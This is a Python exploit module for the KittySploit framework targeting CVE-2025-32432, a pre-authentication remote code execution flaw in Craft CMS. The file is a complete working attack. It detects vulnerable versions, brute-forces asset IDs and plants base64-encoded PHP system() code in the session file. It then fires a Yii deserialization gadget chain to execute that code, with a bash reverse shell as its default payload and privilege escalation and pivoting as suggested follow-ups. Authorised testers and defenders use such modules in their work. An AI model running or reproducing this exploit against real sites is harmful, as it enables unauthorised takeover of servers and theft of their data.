Craft CMS CVE-2025-32432 Pre-Auth RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64
import re
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):

    __info__ = {
        "name": "Craft CMS CVE-2025-32432 Pre-Auth RCE",
        "description": (
            "Exploits Craft CMS CVE-2025-32432, a pre-authentication remote code "
            "execution issue in the assets/generate-transform endpoint. The module "
            "poisons the active PHP session and triggers a Yii gadget chain to include "
            "the session file through yii\\rbac\\PhpManager."
        ),
        "author": ["Mohammed Idrees Banyamer", "KittySploit Team"],
        "cve": ["CVE-2025-32432"],
        "arch": [Arch.X86, Arch.X64],
        "platform": Platform.UNIX,
        "category": PayloadCategory.SINGLE,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "type": PayloadType.CMD,
            "platform": [Platform.UNIX, Platform.LINUX],
            "category": PayloadCategory.SINGLE,
        },
        "references": [
            "https://www.cve.org/CVERecord?id=CVE-2025-32432",
            "https://github.com/craftcms/cms",
            "https://craftcms.com",
        ],
        "tags": ["craftcms", "yii", "rce", "preauth", "cve-2025-32432"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    base_path = OptString("/", "Craft CMS base path, if installed in a subdirectory", required=False)
    asset_id = OptInteger(0, "Known valid Asset ID (0 = brute force)", required=False)
    command = OptString("", "Command to execute instead of the selected payload", required=False)

    scan_max = OptInteger(300, "Maximum Asset ID brute-force range", required=False, advanced=True)
    session_id = OptString("", "Known PHP session ID (empty = obtain from cookies)", required=False, advanced=True)
    session_cookie_name = OptString(
        "",
        "Session cookie name to read (empty = auto-detect PHPSESSID/CraftSessionId)",
        required=False,
        advanced=True,
    )
    session_file = OptString(
        "/tmp/sess_{session_id}",
        "Session file path template used by PhpManager include",
        required=False,
        advanced=True,
    )
    poison_path = OptString("/index.php", "Path used to create/write the session", required=False, advanced=True)
    poison_route = OptString("admin/dashboard", "Value for the Craft p query parameter", required=False, advanced=True)
    poison_param = OptString("a", "Query parameter that carries PHP code into the session", required=False, advanced=True)
    wait_seconds = OptInteger(2, "Seconds to wait after poisoning the session", required=False, advanced=True)
    output_limit = OptInteger(2000, "Maximum response body characters to print (0 = unlimited)", required=False, advanced=True)
    fingerprint = OptBool(True, "Require Craft CMS fingerprint during check()", required=False, advanced=True)

    _VERSION_RE = re.compile(
        r"(?:Craft\s*CMS|craftcms|craft)[^0-9]{0,40}([345]\.\d+(?:\.\d+)?)",
        re.IGNORECASE,
    )

    def __init__(self, framework=None):
        super().__init__(framework)
        self._marker = f"KS{self.random_text(10)}"

    def _base(self):
        base = str(self.base_path or "/").strip()
        if not base.startswith("/"):
            base = "/" + base
        return base.rstrip("/")

    def _path(self, suffix):
        suffix = str(suffix or "/")
        if not suffix.startswith("/"):
            suffix = "/" + suffix
        return f"{self._base()}{suffix}" if self._base() else suffix

    def _to_int(self, value, default_value):
        try:
            return int(value)
        except Exception:
            return default_value

    def _normalize_command(self):
        if self.command:
            return str(self.command)
        payload = self.payload
        if isinstance(payload, bytes):
            return payload.decode("utf-8", errors="ignore")
        return str(payload or "")

    def _craft_version(self, body):
        if not body:
            return ""
        match = self._VERSION_RE.search(body)
        return match.group(1) if match else ""

    def _version_tuple(self, version):
        parts = []
        for part in str(version).split("."):
            try:
                parts.append(int(part))
            except Exception:
                parts.append(0)
        while len(parts) < 3:
            parts.append(0)
        return tuple(parts[:3])

    def _is_vulnerable_version(self, version):
        vt = self._version_tuple(version)
        if vt[0] == 3:
            return vt <= (3, 9, 14)
        if vt[0] == 4:
            return vt <= (4, 14, 14)
        if vt[0] == 5:
            return vt <= (5, 6, 16)
        return False

    def _has_craft_fingerprint(self, response):
        if not response:
            return False
        body = (response.text or "").lower()
        headers = str(response.headers or "").lower()
        cookies = ";".join([cookie.name for cookie in self.session.cookies]).lower()
        return any(
            marker in body or marker in headers or marker in cookies
            for marker in (
                "craft cms",
                "craftcms",
                "craftsessionid",
                "craft_csrf_token",
                "craft-cp",
                "x-powered-by: craft",
            )
        )

    def _gadget_payload(self, asset_id, item_file):
        return {
            "assetId": int(asset_id),
            "handle": {
                "width": 1,
                "height": 1,
                "as hack": {
                    "class": "craft\\behaviors\\FieldLayoutBehavior",
                    "__class": "yii\\rbac\\PhpManager",
                    "__construct()": [
                        {
                            "itemFile": item_file,
                        }
                    ],
                },
            },
        }

    def _benign_transform_payload(self):
        return {
            "assetId": 0,
            "handle": {
                "width": 1,
                "height": 1,
            },
        }

    def _obtain_session_id(self):
        explicit = str(self.session_id or "").strip()
        if explicit:
            print_info(f"Using provided session ID: {explicit}")
            return explicit

        response = self.http_request(
            method="GET",
            path=self._path(self.poison_path or "/index.php"),
            allow_redirects=True,
            timeout=self.timeout,
        )
        if not response:
            return ""

        preferred_name = str(self.session_cookie_name or "").strip()
        names = [preferred_name] if preferred_name else ["PHPSESSID", "CraftSessionId", "craft_session"]
        for name in names:
            if not name:
                continue
            value = self.session.cookies.get(name)
            if value:
                print_success(f"Obtained session cookie {name}: {value}")
                return value

        for cookie in self.session.cookies:
            if "sess" in cookie.name.lower():
                print_success(f"Obtained session cookie {cookie.name}: {cookie.value}")
                return cookie.value

        return ""

    def _session_include_path(self, session_id):
        template = str(self.session_file or "/tmp/sess_{session_id}")
        return template.format(session_id=session_id)

    def _php_injection(self, command):
        encoded = base64.b64encode(command.encode("utf-8")).decode("ascii")
        start = f"{self._marker}_START"
        end = f"{self._marker}_END"
        return (
            "<?php "
            "@set_time_limit(0); "
            f"echo '{start}\\n'; "
            f"system(base64_decode('{encoded}')); "
            f"echo '\\n{end}'; "
            "?>"
        )

    def _poison_session(self, command):
        php_code = self._php_injection(command)
        if len(php_code) > 1800:
            print_warning("PHP injection is long; some front proxies may reject the query string.")

        path = self._path(self.poison_path or "/index.php")
        params = {
            "p": str(self.poison_route or "admin/dashboard"),
            str(self.poison_param or "a"): php_code,
        }

        response = self.http_request(
            method="GET",
            path=path,
            params=params,
            allow_redirects=True,
            timeout=self.timeout,
        )
        if response and response.status_code in (200, 302, 401, 403, 404):
            print_success(f"Session poisoning request sent (HTTP {response.status_code})")
            return True

        code = response.status_code if response else "no response"
        print_error(f"Session poisoning failed ({code})")
        return False

    def _find_asset_id(self):
        max_attempts = max(1, self._to_int(self.scan_max, 300))
        endpoint = self._path("/actions/assets/generate-transform")
        print_status(f"Brute-forcing Asset ID 1..{max_attempts} (best effort)")

        for current_id in range(1, max_attempts + 1):
            try:
                response = self.http_request(
                    method="POST",
                    path=endpoint,
                    json=self._gadget_payload(current_id, "invalid"),
                    headers={"Accept": "application/json"},
                    allow_redirects=False,
                    timeout=5,
                )
            except Exception:
                continue

            if response and response.status_code != 404:
                print_success(f"Potential valid Asset ID found: {current_id} (HTTP {response.status_code})")
                return current_id

        print_error(f"No valid Asset ID found after {max_attempts} attempts")
        return 0

    def _trigger(self, asset_id, session_id):
        include_path = self._session_include_path(session_id)
        print_info(f"Including session file: {include_path}")
        return self.http_request(
            method="POST",
            path=self._path("/actions/assets/generate-transform"),
            json=self._gadget_payload(asset_id, include_path),
            headers={"Accept": "*/*"},
            allow_redirects=False,
            timeout=max(self._to_int(self.timeout, 10), 15),
        )

    def _print_response(self, response):
        if not response:
            print_error("No response from trigger request")
            return False

        body = response.text or ""
        limit = self._to_int(self.output_limit, 2000)
        if limit > 0 and len(body) > limit:
            shown = body[:limit]
            truncated = True
        else:
            shown = body
            truncated = False

        start = f"{self._marker}_START"
        end = f"{self._marker}_END"
        if start in body:
            output = body.split(start, 1)[1]
            if end in output:
                output = output.split(end, 1)[0]
            output = output.strip()
            print_success("Command output marker found in response")
            if output:
                if limit > 0 and len(output) > limit:
                    output = output[:limit]
                    truncated = True
                print_info(output)
            return True

        print_info(f"Trigger response HTTP {response.status_code}")
        if shown:
            print_info(shown)
        if truncated:
            print_warning(f"Response truncated to {limit} characters (output_limit)")
        if response.status_code in (200, 500):
            print_success("Trigger request accepted; check the response above or your listener.")
            return True
        return False

    def _exploit(self):
        if self.command:
            return bool(self.run())
        return super()._exploit()

    def check(self):
        try:
            home = self.http_request(
                method="GET",
                path=self._path("/"),
                allow_redirects=True,
                timeout=self.timeout,
            )
            craft_seen = self._has_craft_fingerprint(home)
            version = self._craft_version(home.text if home else "")

            if self._to_bool(self.fingerprint) and not craft_seen:
                return {
                    "vulnerable": False,
                    "reason": "Craft CMS fingerprint not found",
                    "confidence": "medium",
                }

            endpoint = self._path("/actions/assets/generate-transform")
            probe = self.http_request(
                method="POST",
                path=endpoint,
                json=self._benign_transform_payload(),
                headers={"Accept": "application/json"},
                allow_redirects=False,
                timeout=self.timeout,
            )
            if not probe:
                return {"vulnerable": False, "reason": "No response from transform endpoint", "confidence": "low"}

            if probe.status_code == 404:
                return {"vulnerable": False, "reason": "Transform endpoint returned 404", "confidence": "high"}

            if version:
                if self._is_vulnerable_version(version):
                    return {
                        "vulnerable": True,
                        "reason": f"Craft CMS {version} is in a vulnerable range and endpoint is reachable",
                        "confidence": "high",
                    }
                return {
                    "vulnerable": False,
                    "reason": f"Craft CMS {version} appears patched for CVE-2025-32432",
                    "confidence": "high",
                }

            return {
                "vulnerable": True,
                "reason": f"Craft CMS fingerprint/endpoint reachable, version unknown (HTTP {probe.status_code})",
                "confidence": "medium",
            }
        except Exception as e:
            return {"vulnerable": False, "reason": f"Check failed: {e}", "confidence": "low"}

    def run(self):
        try:
            print_status("Craft CMS CVE-2025-32432 pre-auth RCE")
            print_info(f"Target: {self.target}:{self.port}")

            command = self._normalize_command()
            if not command:
                print_error("No command or payload specified")
                return False

            session_id = self._obtain_session_id()
            if not session_id:
                print_error("Failed to obtain a PHP/Craft session cookie")
                return False

            chosen_asset_id = self._to_int(self.asset_id, 0)
            if chosen_asset_id <= 0:
                chosen_asset_id = self._find_asset_id()
                if chosen_asset_id <= 0:
                    print_error("Exploitation aborted: no valid Asset ID found")
                    return False

            print_success(f"Using Asset ID: {chosen_asset_id}")

            if not self._poison_session(command):
                return False

            wait_time = max(0, self._to_int(self.wait_seconds, 2))
            if wait_time:
                print_status(f"Waiting {wait_time} seconds for the session file to be written")
                time.sleep(wait_time)

            print_status("Triggering deserialization gadget")
            response = self._trigger(chosen_asset_id, session_id)
            success = self._print_response(response)
            if success:
                self.vulnerable()
                return True

            self.not_vulnerable()
            return False
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            return False